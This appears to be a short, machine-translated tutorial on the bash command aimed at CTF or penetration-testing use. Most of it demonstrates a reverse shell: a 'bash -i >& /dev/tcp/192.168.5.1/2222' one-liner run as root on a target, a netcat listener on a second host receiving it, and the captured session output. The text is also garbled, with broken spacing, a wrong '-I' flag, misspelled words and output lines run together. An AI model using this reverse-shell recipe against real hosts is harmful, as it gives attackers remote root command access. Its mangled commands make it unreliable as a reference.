Linux command-- bash
Bash is a command interpretation language that can execute commands to read standard input or files, execute commands and bounce shell with nc!
Basic usage syntax
Bash-c command root@kali:~# bash-c whoamirootroot@kali:~#
In addition,-I is used to run shell interactively, usually on the target host
Bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1
Then another host uses nc to listen on the port and get a shell!
Target host:
Root@kali:~# bash-I > & / dev/tcp/192.168.5.1/2222 0 > & 1
* Host:
F:\\ eth20-CTF-Toolkits\\ CTF Toolkit\\ connection tool > nc-lvp 2222lstn on [any] 2222.. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATAconnect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATAroot@kali:~# uname-auname-aLinux kali 4.6.0-kali1-amd64 # 1 SMP Debian 4.6.4-1kali1 (2016-07-21) X86_64 GNU/Linuxroot@kali:~# whoamiwhoamirootroot@kali:~#exit